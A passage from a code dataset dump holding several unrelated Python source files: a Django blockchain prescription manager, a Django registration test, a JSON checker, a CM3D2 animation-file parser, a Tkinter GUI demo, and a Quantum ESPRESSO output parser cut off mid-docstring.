data[\"medications\"] = ordered_data(data[\"medications\"])\n _payload = json.dumps(ordered_data(data), separators=(',',':'))\n\n\n except Exception as e:\n logger.error(\"[create_tx1 ERROR]: {}, type:{}\".format(e, type(e)))\n\n\n _is_valid_tx = False\n _rx_before = None\n\n try:\n # Prescript unsavify method\n pub_key = self._crypto.un_savify_key(raw_pub_key)\n except Exception as e:\n logger.error(\"[Key is b64 WARNING]: {}, type:{}\".format(e, type(e)))\n # Attempt to create public key with base64 with js payload\n pub_key, raw_pub_key = pubkey_base64_to_rsa(raw_pub_key)\n\n hex_raw_pub_key = self._crypto.savify_key(pub_key)\n\n ''' Get previous hash '''\n #_previous_hash = data.get('previous_hash', '0')\n logger.info(\"previous_hash: {}\".format(_previous_hash))\n\n ''' Check initial or transfer '''\n if _previous_hash == '0':\n # It's a initial transaction\n if self._crypto.verify(_payload, _signature, pub_key):\n logger.info(\"[CREATE_TX] Tx valid!\")\n _is_valid_tx = True\n\n else:\n # Its a transfer, so check validite transaction\n data[\"previous_hash\"] = _previous_hash\n _is_valid_tx, _rx_before = self.is_transfer_valid(data, _previous_hash, pub_key, _signature)\n\n\n ''' FIRST Create the Transaction '''\n tx = self.create_raw_tx(data, _is_valid_tx=_is_valid_tx, _signature=_signature, pub_key=pub_key)\n\n ''' THEN Create the Data Item(prescription) '''\n Prescription = apps.get_model('blockchain','Prescription')\n rx = Prescription.objects.create_rx(\n data,\n _signature=_signature,\n pub_key=hex_raw_pub_key, # This is basically the address\n _is_valid_tx=_is_valid_tx,\n _rx_before=_rx_before,\n transaction=tx,\n )\n ''' LAST do create block attempt '''\n self.create_block_attempt()\n\n # Return the rx for transaction object\n return rx\n\n def create_raw_tx(self, data, **kwargs):\n ''' This method just create the transaction instance '''\n\n ''' START TX creation '''\n Transaction = apps.get_model('blockchain','Transaction')\n tx = Transaction()\n # Get Public Key from API\n pub_key = kwargs.get(\"pub_key\", None) # Make it usable\n tx.signature = kwargs.get(\"_signature\", None)\n tx.is_valid = kwargs.get(\"_is_valid_tx\", False)\n tx.timestamp = timezone.now()\n\n # Set previous hash\n if self.last() is None:\n tx.previous_hash = \"0\"\n else:\n tx.previous_hash = self.last().txid\n\n # Create raw data to generate hash and save it\n tx.create_raw_msg()\n tx.hash()\n tx.save()\n\n ''' RETURN TX '''\n return tx\n\n\nclass MedicationManager(models.Manager):\n ''' Manager to create Medication from API '''\n def create_medication(self, prescription, **kwargs):\n med = self.create(prescription=prescription, **kwargs)\n med.save()\n return med\n\n\nclass PrescriptionManager(models.Manager):\n ''' Manager for prescriptions '''\n\n def get_queryset(self):\n return PrescriptionQueryset(self.model, using=self._db)\n\n def range_by_hour(self, date_filter):\n return self.get_queryset().range_by_hour(date_filter)\n\n def non_validated_rxs(self):\n return self.get_queryset().non_validated_rxs()\n\n def total_medics(self):\n return self.get_queryset().total_medics()\n\n def rx_by_today(self, date_filter):\n return self.get_queryset().rx_by_today(date_filter)\n\n def rx_by_month(self, date_filter):\n return self.get_queryset().rx_by_month(date_filter)\n\n def get_stats_last_hours(self, hours=10):\n ''' Return a list of last rx created by given last hours '''\n RANGE_HOUR = 1\n _list = []\n _new_time = _time = timezone.now()\n _list.append([get_timestamp(_time), self.range_by_hour(_time).count()])\n for i in range(0, hours):\n _time = _time - timedelta(hours=RANGE_HOUR)\n _list.append([get_timestamp(_time), self.range_by_hour(_time).count()])\n\n return _list\n\n def check_existence(self, previous_hash):\n return self.get_queryset().check_existence(previous_hash)\n\n def create_rx(self, data, **kwargs):\n\n rx = self.create_raw_rx(data, **kwargs)\n\n if len(data[\"medications\"]) > 0:\n Medication = apps.get_model('blockchain','Medication')\n for med in data[\"medications\"]:\n Medication.objects.create_medication(prescription=rx, **med)\n\n return rx\n\n def create_raw_rx(self, data, **kwargs):\n # This calls the super method saving all clean data first\n Prescription = apps.get_model('blockchain','Prescription')\n\n _rx_before = kwargs.get('_rx_before', None)\n\n rx = Prescription(\n timestamp=data.get(\"timestamp\", timezone.now()),\n public_key=kwargs.get(\"pub_key\", \"\"),\n signature=kwargs.get(\"_signature\", \"\"),\n is_valid=kwargs.get(\"_is_valid_tx\", False),\n transaction=kwargs.get(\"transaction\", None)\n )\n\n if \"files\" in data:\n rx.files = data[\"files\"]\n\n if \"location\" in data:\n rx.location = data[\"location\"]\n\n\n rx.medic_name = data[\"medic_name\"]\n rx.medic_cedula = data[\"medic_cedula\"]\n rx.medic_hospital = data[\"medic_hospital\"]\n rx.patient_name = data[\"patient_name\"]\n rx.patient_age = data[\"patient_age\"]\n rx.diagnosis = data[\"diagnosis\"]\n\n\n # Save previous hash\n if _rx_before is None:\n logger.info(\"[CREATE_RX] New transaction!\")\n rx.previous_hash = \"0\"\n rx.readable = True\n else:\n logger.info(\"[CREATE_RX] New transaction transfer!\")\n rx.previous_hash = _rx_before.rxid\n if rx.is_valid:\n logger.info(\"[CREATE_RX] Tx transfer is valid!\")\n rx.readable = True\n _rx_before.transfer_ownership()\n else:\n logger.info(\"[CREATE_RX] Tx transfer not valid!\")\n\n\n rx.create_raw_msg()\n rx.hash()\n rx.save()\n\n return rx\n\nclass AddressManager(models.Manager):\n ''' Add custom Manager '''\n\n def get_queryset(self):\n return AddressQueryset(self.model, using=self._db)\n\n def check_existence(self, public_key_b64):\n return self.get_queryset().check_existence(public_key_b64)\n\n def get_rsa_address(self, public_key_b64):\n return self.get_queryset().get_rsa_address(public_key_b64)\n\n def create_rsa_address(self, public_key_b64):\n ''' Method to create new rsa address '''\n\n _addresses_generator = AddressBitcoin()\n _new_raw_address = _addresses_generator.create_address_bitcoin(public_key_b64)\n\n rsa_address = self.create(\n public_key_b64=public_key_b64,\n address=_new_raw_address,\n )\n rsa_address.save()\n return rsa_address.address\n\n def get_or_create_rsa_address(self, public_key_b64):\n ''' 'Check existence of address for public key '''\n if self.check_existence(public_key_b64):\n ''' Return correct address '''\n return self.get_rsa_address(public_key_b64)\n else:\n ''' Return a new address for the public key '''\n return self.create_rsa_address(public_key_b64)\n","sub_path":"prescryptchain/blockchain/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":13423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"544115928","text":"from django.test import TestCase\n\n# Create your tests here.\nfrom django.test import Client\nc = Client()\n\nargs = dict()\n\nargs[\"demand\"] = \"ask_to_register\"\nargs[\"email\"] = \"nioche.aurelien@gmail.com\"\nargs[\"gender\"] = \"male\"\nargs[\"nationality\"] = \"french\"\nargs[\"mechanical_id\"] = \"Tonpere\"\nargs[\"age\"] = 31\n\nresponse = c.post('/register/', args)\nprint(response.status_code)\n# response = c.get('/consumer/details/')\nprint(\"response: \", response.content)\n","sub_path":"game/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"276054961","text":"from sys import argv, stderr\n\ndef main():\n inFile = open('coordinates.json', mode='r', encoding='ISO-8859-1')\n with inFile as file:\n text = file.read()\n inFile.close()\n\n inFile = open('buildings.json', mode='r', encoding='ISO-8859-1')\n for line in inFile:\n if text.find(line[2:-2]) == -1:\n print(line)\n\n inFile.close()\n\nif __name__ == '__main__':\n main()\n","sub_path":"buildings/checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"551936066","text":"import util\n\nclass frame_sample:\n def __init__(self, file):\n self.time = util.read(file, util.type.float)\n self.coord = util.read_list(file, 3, util.type.float)\n\n def __str__(self):\n return '%f\\t%f\\t%f\\t%f' % (self.time, self.coord[0], self.coord[1], self.coord[2])\n\nclass bone_transform_data:\n def __init__(self, bone_name, frame_map):\n self.bone_name = bone_name\n self.frame_map = frame_map\n\nclass anm_archive:\n def __init__(self, file):\n self.ext = util.read_str(file)\n self.ver = util.read(file, util.type.int)\n\n self.bone_transform_list = []\n\n bone_set = set()\n\n flag_a = util.read(file, util.type.byte)\n while True:\n bone_name = util.read_str(file)\n if bone_set.__contains__(bone_name):\n return\n\n bone_set.add(bone_name)\n\n frame_map = {}\n\n while True:\n flag_b = util.read(file, util.type.byte)\n if flag_b == 1:\n break\n elif flag_b == 0:\n return\n frame_map[flag_b] = frame_list = []\n #print(frame_map)\n frame_num = util.read(file, util.type.int)\n for frame_idx in range(frame_num):\n sample = frame_sample(file)\n frame_list.append(sample)\n\n self.bone_transform_list.append(bone_transform_data(bone_name, frame_map))\n\nfile = open('D:\\\\DEV\\\\CM3D2\\\\ARC\\\\motion\\\\motion\\\\dance\\\\dance_cm3d2_001_f2.anm', 'rb')\narc = anm_archive(file)\nfile.close()\n\nout = open('..\\\\..\\\\..\\\\run\\\\dance_cm3d2_001_f2.anm.txt', 'w')\nfor bone in arc.bone_transform_list:\n out.write(bone.bone_name + '\\n')\n for k in bone.frame_map:\n out.write('\\t' + str(k) + '\\n')\n for sample in bone.frame_map[k]:\n out.write('\\t\\t' + str(sample) + '\\n')\n\nout.close()\n","sub_path":"src/py/CM3D2Tools/anm.py","file_name":"anm.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"492905338","text":"from tkinter import *\nfrom tkinter import ttk\n\nclass ConsoleFrame:\n\tdef __init__(self, parent):\n\t\tself.parent = parent\n\t\tself.frame = Frame(self.parent)\n\t\t\n\t\tself.console = Text(self.frame, height=5, width=40, state='disabled')\n\t\tself.scroll = ttk.Scrollbar(self.frame, orient=VERTICAL)\n\t\t\n\t\tself.scroll.config(command=self.console.yview)\n\t\tself.console.config(yscrollcommand=self.scroll.set)\n\t\tself.console.config(bg='black', fg='green')\n\t\t\n\t\tself.frame.grid()\n\t\tself.console.grid(row=0, column=0, sticky=W)\n\t\tself.scroll.grid (row=0, column=1, sticky=E+N+S)\n\n\tdef Insert(self, text):\n\t\tself.console.config(state='normal')\n\t\tself.console.insert(END,text+\"\\n\")\n\t\tself.console.config(state='disabled')\t\n\t\t\nclass DataFrame:\n\tdef __init__(self, parent, title):\n\t\tself.data=('10','11','12','13','14','15','16','17','18','19','20','21')\n\n\t\tself.parent = parent\n\t\tself.frame = Frame(self.parent)\n\t\t\n\t\tself.titre = Label(self.frame, text=title)\n\t\tself.scroll = ttk.Scrollbar(self.frame, orient=VERTICAL)\n\t\tself.list = Listbox(self.frame, listvariable=StringVar(value=self.data))\n\n\t\tself.list.config (yscrollcommand=self.scroll.set)\n\t\tself.scroll.config(command=self.list.yview)\n\t\t\n\t\tfor i in range(0, self.list.size()):\n\t\t\tif ( i%2 ):\n\t\t\t\tself.list.itemconfig(i, bg='#eeeeff')\n\t\t\n\t\tself.frame.grid ()\n\t\tself.titre.grid (row=0, column=0, columnspan=2, sticky=W)\n\t\tself.list.grid (row=1, column=0, sticky=W)\n\t\tself.scroll.grid (row=1, column=1, sticky=W+N+S)\n\nclass MyWindow:\n\tdef __init__(self, parent):\n\t\tself.parent = parent\n\t\t\n\t\t# Creating 3 frames, on for each data, one for the buttons\n\t\tself.input = DataFrame(self.parent, 'Input Data:')\n\t\tself.output = DataFrame(self.parent, 'Output Data:')\n\t\tself.buttons= Frame(self.parent)\n\t\t\n\t\tself.console = ConsoleFrame(self.parent)\n\t\tself.console.Insert(\"bla bla bla blabla bla\")\n\t\tself.console.Insert(\"bla bla blabla bla bla blabla\")\n\t\tself.console.Insert(\"bla bla blabla bla\")\n\t\tself.console.Insert(\"bla bla blabla bla bla blabla\")\n\t\tself.console.Insert(\"bla bla blabla bla\")\n\t\tself.console.Insert(\"bla bla blabla bla bla blabla\")\n\t\t\n\t\t# A middle frame to place buttons that interact with data\n\t\tself.right= Button(self.buttons, justify=LEFT, image=right_arrow, height='24', width='24')\n\t\tself.left = Button(self.buttons, justify=LEFT, image=left_arrow, height='24', width='24')\n\t\tself.right.grid(row=0, column=0)\t\t\n\t\tself.left.grid (row=1, column=0)\n\t\t\n\t\t# Placing the frames to build the layout\n\t\tself.input.frame.grid (row = 0, column = 0, padx=5, pady=5)\n\t\tself.buttons.grid (row = 0, column = 1, padx=5, pady=5)\n\t\tself.output.frame.grid (row = 0, column = 2, padx=5, pady=5)\n\t\tself.console.frame.grid(row = 1, column = 0, padx=5, pady=5, columnspan=3)\n\nroot=Tk()\n# those resources are static and must remains as such.\nleft_arrow=PhotoImage(file=\"d:/DATA/Python/sources/arrow_left.gif\")\nright_arrow=PhotoImage(file=\"d:/DATA/Python/sources/arrow_right.gif\")\nMyWindow(root)\nroot.mainloop()\n","sub_path":"MyWindow.py","file_name":"MyWindow.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"345309332","text":"import os\nimport re\nimport io\nimport numpy as np\n\nfrom express.parsers.utils import find_file\nfrom express.parsers.settings import Constant\nfrom express.parsers.apps.espresso import settings\nfrom express.parsers.formats.txt import BaseTXTParser\n\nORBITS = {\"s\": [\"\"], \"p\": [\"z\", \"x\", \"y\"], \"d\": [\"z2\", \"zx\", \"zy\", \"x2-y2\", \"xy\"]}\n\n\nclass EspressoTXTParser(BaseTXTParser):\n \"\"\"\n Espresso text parser class.\n \"\"\"\n\n def __init__(self, work_dir):\n super(EspressoTXTParser, self).__init__(work_dir)\n\n def total_energy(self, text):\n \"\"\"\n Extracts total energy.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n float\n \"\"\"\n return Constant.RYDBERG * self._general_output_parser(text, **settings.REGEX[\"total_energy\"])\n\n def dos(self):\n \"\"\"\n Extracts density of states. It reads 'pdos_tot' file to extract energy levels and total DOS values for each\n energy level. Then it reads partial DOS files created by QE with this format: `__prefix__.pdos_atm#1(\n C)_wfc#1(s)` in job working directory. DOS value for each atom with the same element and orbit number will be\n added together and packed in a dictionary. The result containing energy levels, total DOS and partial DOS for\n each element will be returned.\n\n Returns:\n dict\n\n Example:\n {\n 'energy': [-1.0, 0, 1.0],\n 'total': [0.013, 0.124, 0.923],\n 'partial': [\n {\n 'element': 'C',\n 'electronicState': '1s',\n 'value': [0.00015, 0.000187, 0.000232, 0.000287, 0.000355, 0.000437]\n },\n {\n 'element': 'C',\n 'electronicState': '3px',\n 'value': [6.87e-06, 8.5e-06, 1.0e-05, 1.3e-05, 1.63e-05, 2.01e-05]\n },\n ]\n }\n \"\"\"\n dos_tot_file = find_file(settings.PDOS_TOT_FILE, self.work_dir)\n energy_levels, total_dos = self._total_dos(dos_tot_file)\n partial_dos_values, partial_dos_infos = self._partial_dos(len(energy_levels))\n return {\n \"energy\": energy_levels.tolist(),\n \"total\": total_dos.tolist(),\n \"partial\": partial_dos_values,\n \"partial_info\": partial_dos_infos,\n }\n\n def _total_dos(self, dos_tot_file):\n \"\"\"\n Parses total DOS from the given file. It reads the file to get energy levels and total DOS values for each\n energy level by extracting the first two columns.\n\n Example file:\n #\n E (eV) dos(E) pdos(E)\n -25.226 0.512E-03 0.504E-03\n -25.216 0.637E-03 0.628E-03\n -25.206 0.791E-03 0.779E-03\n\n Args:\n dos_tot_file (str): path to the pdos_tot file.\n\n Returns:\n tuple: energy levels and DOS total values.\n Example:\n ([-25.226, -25.216, -25.206], [0.512E-03, 0.637E-03, 0.791E-03])\n \"\"\"\n if os.path.isfile(dos_tot_file):\n trimmed_dos_file = io.StringIO(self._trim_dos_file(dos_tot_file))\n dos_tot = np.genfromtxt(trimmed_dos_file, dtype=np.float32, usecols=(0, 1))\n energy_levels = dos_tot[:, 0]\n dos_tot = dos_tot[:, 1]\n return energy_levels, dos_tot\n\n def _partial_dos(self, num_levels):\n \"\"\"\n Parses partial DOS for each element with its orbit value. it reads partial DOS files created by QE with this\n format: `__prefix__.pdos_atm#1(C)_wfc#1(s)` in job working directory. DOS value for each atom with the same\n element and orbit number will be added together and packed in a dictionary.\n\n Args:\n num_levels (int): number of energy levels.\n\n Returns:\n dict: a dictionary containing partial DOS values for each element.\n Example:\n [\n {\n 'element': 'C',\n 'electronicState': '1s',\n 'value': [0.00015, 0.000187, 0.000232, 0.000287, 0.000355, 0.000437]\n },\n {\n 'element': 'C',\n 'electronicState': '3px',\n 'value': [6.87e-06, 8.5e-06, 1.0e-05, 1.3e-05, 1.63e-05, 2.01e-05]\n }\n ]\n \"\"\"\n pdos = {}\n # Because os.listdir() has an undefined order specified, we'll sort the file list in order to have a\n # reproducible result. The sort order will be the normal alphanumeric comparison.\n # For example:\n # >>> x = ['a', 'B', 'c', 'D']\n # >>> sorted(x)\n # ['B', 'D', 'a', 'c']\n for file_name in sorted(os.listdir(self.work_dir)):\n file_path = os.path.join(self.work_dir, file_name)\n match = re.compile(settings.REGEX[\"pdos_file\"][\"regex\"]).match(file_name)\n if match:\n atm_pdos = self._extract_partial_dos(file_path, len(ORBITS[match.group(\"orbit_symbol\")]))\n atm_pdos = atm_pdos.T if atm_pdos.shape[0] > 1 else atm_pdos\n for idx, orbit_pdos in enumerate(atm_pdos):\n orbit_idx = ORBITS[match.group(\"orbit_symbol\")][idx] if match.group(\"orbit_symbol\") != \"s\" else \"\"\n pdos_id = \"{0}_{1}{2}{3}\".format(\n match.group(\"atom_name\"), match.group(\"orbit_num\"), match.group(\"orbit_symbol\"), orbit_idx\n ) # e.g. C_1s, C_2px, C_2dz2\n if pdos_id not in pdos.keys():\n pdos[pdos_id] = np.zeros(num_levels)\n pdos[pdos_id] += orbit_pdos\n\n pdos_values = [pdos[item].tolist() for item in pdos]\n pdos_infos = [{\"element\": item.split(\"_\")[0], \"electronicState\": item.split(\"_\")[1]} for item in pdos]\n return pdos_values, pdos_infos\n\n def _extract_partial_dos(self, pdos_file, orbit_num):\n \"\"\"\n Parses partial DOS values from a given file.\n\n Args:\n pdos_file (str): path to pdos file.\n\n Returns:\n numpy.ndarray\n \"\"\"\n if os.path.isfile(pdos_file):\n trimmed_pdos_file = io.StringIO(self._trim_dos_file(pdos_file))\n target_columns = range(2, 2 + orbit_num)\n columns = np.genfromtxt(trimmed_pdos_file, dtype=np.float32, usecols=range(2, 2 + orbit_num))\n return columns if len(target_columns) > 1 else np.array([columns])\n\n def _trim_dos_file(self, dos_file):\n \"\"\"\n Trims a given dos file and returns the data. Only lines which start with a scientific number are interested.\n\n Args:\n dos_file (str): path to the dos file.\n\n Returns:\n (str): trimmed out text containing actual dos values.\n Example Input:\n ******* 0.000E+00 0.000E+00\n ******* 0.000E+00 0.000E+00\n -99.989 0.000E+00 0.000E+00\n 99.939 0.000E+00 0.000E+00\n 9.889 0.000E+00 0.000E+00\n ******* 0.000E+00 0.000E+00\n ******* 0.000E+00 0.000E+00\n Example output:\n -99.989 0.000E+00 0.000E+00\n -99.939 0.000E+00 0.000E+00\n -99.889 0.000E+00 0.000E+00\n \"\"\"\n with open(dos_file) as f:\n return \"\\n\".join(re.findall(\"^ *[-+]?\\d*\\.\\d+(?:[eE][-+]?\\d+)?.*$\", f.read(), re.MULTILINE))\n\n def convergence_electronic(self, text):\n \"\"\"\n Extracts convergence electronic.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list[float]\n \"\"\"\n data = self._general_output_parser(text, **settings.REGEX[\"convergence_electronic\"])\n # The next 3 lines are necessary to have realtime data\n ionic_data = [_[\"electronic\"][\"data\"] for _ in self.convergence_ionic(text)]\n last_step_data = data[sum([len(_) for _ in ionic_data]) : len(data)]\n if last_step_data:\n ionic_data.append(last_step_data)\n return [(np.array(_) * Constant.RYDBERG).tolist() for _ in ionic_data]\n\n def convergence_ionic(self, text):\n \"\"\"\n Extracts convergence ionic.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list[dict]\n \"\"\"\n data = []\n blocks = re.findall(settings.REGEX[\"convergence_ionic_blocks\"][\"regex\"], text, re.DOTALL | re.MULTILINE)\n for idx, block in enumerate(blocks):\n energies = self._general_output_parser(block, **settings.REGEX[\"convergence_ionic_energies\"])\n energies = (np.array(energies) * Constant.RYDBERG).tolist()\n data.append(\n {\n \"energy\": energies[-1],\n \"electronic\": {\n \"units\": \"eV\",\n \"data\": self._general_output_parser(block, **settings.REGEX[\"convergence_electronic\"]),\n },\n }\n )\n\n if not data:\n return []\n\n # last structure is used for the next ionic step, hence [:max(0, len(data) - 1)]\n lattice_convergence = self._lattice_convergence(text)[: max(0, len(data) - 1)]\n basis_convergence = self._basis_convergence(text)[: max(0, len(data) - 1)]\n for idx, structure in enumerate(zip(lattice_convergence, basis_convergence)):\n structure[1][\"units\"] = \"angstrom\"\n lattice_matrix = np.array([structure[0][\"vectors\"][key] for key in [\"a\", \"b\", \"c\"]]).reshape((3, 3))\n for coordinate in structure[1][\"coordinates\"]:\n coordinate[\"value\"] = np.dot(coordinate[\"value\"], lattice_matrix).tolist()\n data[idx + 1].update({\"structure\": {\"lattice\": structure[0], \"basis\": structure[1]}})\n\n # inject initial structure\n data[0].update(\n {\"structure\": {\"basis\": self.initial_basis(text), \"lattice\": self.initial_lattice_vectors(text)}}\n )\n\n return data\n\n def initial_lattice_vectors(self, text):\n \"\"\"\n Extracts initial lattice from a given text.\n\n Note: The initial lattice is in alat format and hence it needs to be converted to angstrom.\n\n The text looks like the following:\n\n crystal axes: (cart. coord. in units of alat)\n a(1) = ( 0.866025 0.000000 0.500000 )\n a(2) = ( 0.288675 0.816497 0.500000 )\n a(3) = ( 0.000000 0.000000 1.000000 )\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n dict\n\n Example:\n {\n 'vectors': {\n 'a': [-0.561154473, -0.000000000, 0.561154473],\n 'b': [-0.000000000, 0.561154473, 0.561154473],\n 'c': [-0.561154473, 0.561154473, 0.000000000],\n 'alat': 1\n }\n }\n \"\"\"\n alat = self._get_alat(text)\n lattice_in_alat_units = self._extract_lattice(text, regex=\"lattice_alat\")\n for key in [\"a\", \"b\", \"c\"]:\n lattice_in_alat_units[\"vectors\"][key] = [\n e * alat * Constant.BOHR for e in lattice_in_alat_units[\"vectors\"][key]\n ]\n return lattice_in_alat_units\n\n def _extract_basis(self, text, number_of_atoms):\n \"\"\"\n Extracts the basis from the given text.\n\n Note: no units conversion is done in here.\n\n \"\"\"\n basis = {\"units\": \"angstrom\", \"elements\": [], \"coordinates\": []}\n matches = self._general_output_parser(text, **settings.REGEX[\"basis_alat\"](number_of_atoms))\n for idx, match in enumerate(matches):\n basis[\"elements\"].append({\"id\": idx, \"value\": match[0]})\n coordinate = [float(match[1]), float(match[2]), float(match[3])]\n basis[\"coordinates\"].append({\"id\": idx, \"value\": coordinate})\n return basis\n\n def _get_alat(self, text):\n return self._general_output_parser(text, **settings.REGEX[\"lattice_parameter_alat\"])[0]\n\n def _number_of_atoms(self, text):\n return self._general_output_parser(text, **settings.REGEX[\"number_of_atoms\"])[0]\n\n def initial_basis(self, text):\n \"\"\"\n Extracts initial basis from a given text.\n\n Units: angstrom\n\n The text looks like the following:\n\n site n. atom positions (alat units)\n 1 Si tau( 1) = ( 0.0000000 0.0000000 0.0000000 )\n 2 Si tau( 2) = ( 0.2886752 0.2041241 0.5000000 )\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n dict\n\n Example:\n {\n 'units': 'angstrom',\n 'elements': [{'id': 1, 'value': 'Si'}, {'id': 2, 'value': 'Si'}],\n 'coordinates': [{'id': 1, 'value': [0.0, 0.0, 0.0]}, {'id': 2, 'value': [2.1095228, 1.49165, 3.6538]}]\n }\n \"\"\"\n alat = self._get_alat(text)\n number_of_atoms = self._number_of_atoms(text)\n basis_in_alat_units = self._extract_basis(text[text.find(\"positions (alat units)\") :], number_of_atoms)\n for coordinate in basis_in_alat_units[\"coordinates\"]:\n coordinate[\"value\"] = [x * alat * Constant.BOHR for x in coordinate[\"value\"]]\n return basis_in_alat_units\n\n def _lattice_convergence(self, text):\n \"\"\"\n Extracts lattice convergence values in angstrom units computed in each BFGS step.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list\n\n Example:\n [\n {\n 'vectors': {\n 'a': [-0.561154473, -0.000000000, 0.561154473],\n 'b': [-0.000000000, 0.561154473, 0.561154473],\n 'c': [-0.561154473, 0.561154473, 0.000000000],\n 'alat': 1\n }\n },\n ...\n {\n 'vectors': {\n 'a': [-0.561154473, -0.000000000, 0.561154473],\n 'b': [-0.000000000, 0.561154473, 0.561154473],\n 'c': [-0.561154473, 0.561154473, 0.000000000],\n 'alat': 1\n }\n }\n ]\n \"\"\"\n return self._extract_data_from_bfgs_blocks(text, self._extract_lattice)\n\n def _extract_data_from_bfgs_blocks(self, text, func):\n \"\"\"\n Extracts data from BFGS blocks using the provided function.\n\n Args:\n text (str): text to extract data from.\n func (func): function object to be applied on the content block.\n\n Returns:\n list: list of information extracted using the provided function\n \"\"\"\n results = []\n bfgs_block_pattern = re.compile(settings.REGEX[\"bfgs_block\"][\"regex\"], re.DOTALL)\n bfgs_blocks = bfgs_block_pattern.findall(text)\n for block in bfgs_blocks:\n results.append(func(block))\n return results\n\n def _extract_lattice(self, text, regex=\"lattice\"):\n \"\"\"\n Extracts lattice.\n\n Note: no units conversion is done in here.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n dict\n\n Example:\n {\n 'vectors': {\n 'a': [-0.561154473, -0.000000000, 0.561154473],\n 'b': [-0.000000000, 0.561154473, 0.561154473],\n 'c': [-0.561154473, 0.561154473, 0.000000000],\n 'alat': 1\n }\n }\n \"\"\"\n match = re.search(settings.REGEX[regex][\"regex\"], text)\n if match:\n lattice = [float(_) for _ in match.groups(1)]\n return {\"vectors\": {\"a\": lattice[0:3], \"b\": lattice[3:6], \"c\": lattice[6:9], \"alat\": 1}}\n\n def _basis_convergence(self, text):\n \"\"\"\n Extracts convergence bases computed in each BFGS step.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list\n\n Example:\n [\n {\n 'units': 'crystal',\n 'elements': [{'id': 1, 'value': 'Si'}, {'id': 2, 'value': 'Si'}],\n 'coordinates': [{'id': 1, 'value': [0.0, 0.0, 0.0]}, {'id': 2, 'value': [0.0, 0.0, 0.0]}]\n },\n ...\n {\n 'units': 'crystal',\n 'elements': [{'id': 1, 'value': 'Si'}, {'id': 2, 'value': 'Si'}],\n 'coordinates': [{'id': 1, 'value': [0.0, 0.0, 0.0]}, {'id': 2, 'value': [0.0, 0.0, 0.0]}]\n }\n ]\n \"\"\"\n return self._extract_data_from_bfgs_blocks(text, self._extract_basis_from_bfgs_blocks)\n\n def _extract_basis_from_bfgs_blocks(self, text):\n \"\"\"\n Extracts basis data in crystal units.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n dict\n\n Example:\n {\n 'units': 'crystal',\n 'elements': [{'id': 1, 'value': 'Si'}, {'id': 2, 'value': 'Si'}],\n 'coordinates': [{'id': 1, 'value': [0.0, 0.0, 0.0]}, {'id': 2, 'value': [0.0, 0.0, 0.0]}]\n }\n \"\"\"\n basis = {\"units\": \"crystal\", \"elements\": [], \"coordinates\": []}\n matches = re.findall(settings.REGEX[\"ion_position\"][\"regex\"], text)\n if matches:\n for idx, match in enumerate(matches):\n basis[\"elements\"].append({\"id\": idx, \"value\": match[0]})\n basis[\"coordinates\"].append({\"id\": idx, \"value\": [float(match[1]), float(match[2]), float(match[3])]})\n\n return basis\n\n def stress_tensor(self, text):\n \"\"\"\n Extracts stress tensor.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list\n \"\"\"\n return self._general_output_parser(text, **settings.REGEX[\"stress_tensor\"])\n\n def pressure(self, text):\n \"\"\"\n Extracts pressure.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n float\n \"\"\"\n return self._general_output_parser(text, **settings.REGEX[\"pressure\"])\n\n def total_force(self, text):\n \"\"\"\n Extracts total force.\n\n Returns:\n float\n \"\"\"\n return self._general_output_parser(text, **settings.REGEX[\"total_force\"]) * Constant.ry_bohr_to_eV_A\n\n def atomic_forces(self, text):\n \"\"\"\n Extracts atomic forces.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n list\n \"\"\"\n forces = self._general_output_parser(text, **settings.REGEX[\"forces_on_atoms\"])\n return (np.array(forces) * Constant.ry_bohr_to_eV_A).tolist()\n\n def total_energy_contributions(self, text):\n \"\"\"\n Extracts total energy contributions.\n\n Args:\n text (str): text to extract data from.\n\n Returns:\n dict\n \"\"\"\n energy_contributions = {}\n for contribution in settings.TOTAL_ENERGY_CONTRIBUTIONS:\n value = self._general_output_parser(text, **settings.TOTAL_ENERGY_CONTRIBUTIONS[contribution])\n if value is not None:\n energy_contributions.update({contribution: {\"name\": contribution, \"value\": value * Constant.RYDBERG}})\n return energy_contributions\n\n def zero_point_energy(self, text):\n \"\"\"\n Extracts zero point energy.\n\n Returns:\n float\n \"\"\"\n data = self._general_output_parser(text, **settings.REGEX[\"zero_point_energy\"])\n if len(data):\n return (sum(data) / 2) * Constant.cm_inv_to_ev\n\n def phonon_dos(self):\n \"\"\"\n Extract vibrational frequencies and total DOS.\n\n Returns:\n dict\n\n Example:\n {\n 'frequency': [-1.2588E-05, 9.9999E-01, 2.0000E+00, 3.0000E+00, ....]\n 'total': [0.0000E+00, 2.5386E-07, 1.0154E-06, 2.2847E-06, ....]\n }\n \"\"\"\n phonon_dos_tot_file = find_file(settings.PHONON_DOS_FILE, self.work_dir)\n frequencies, total_phonon_dos = self._total_dos(phonon_dos_tot_file)\n return {\"frequency\": frequencies.tolist(), \"total\": total_phonon_dos.tolist()}\n\n def phonon_dispersions(self):\n \"\"\"\n Extract vibrational frequencies at qpoints along the high symmetry points in Brillouin zone.\n\n Returns:\n dict\n\n Example:\n {\n 'qpoints': [[0.00, 0.00, 0.00],[0.00, 0.00, 0.01],....],\n 'frequencies': [['-0.0000', '-0.0000', '-0.0000', 